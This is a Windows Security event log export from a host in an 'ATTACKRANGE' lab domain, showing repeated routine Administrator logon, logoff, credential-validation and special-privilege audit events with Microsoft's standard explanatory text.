SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245323
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D660
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245322
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245321
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245320
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D575

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245319
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8C315

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245318
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8CC57

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245317
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D575

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245316
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D575
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245315
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245314
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245313
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D3D1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245312
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D3D1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245311
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D3D1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245310
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245309
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245308
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D13B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245307
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D13B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245306
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D13B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245305
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245304
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245436
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9BFBD

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245435
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9BFBD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245434
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245433
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245432
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9BEF0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245431
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9A2EB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245430
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9A7D7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245429
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9BEF0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245428
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9BEF0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245427
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245426
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245425
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9BEBD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245424
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9BEBD

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
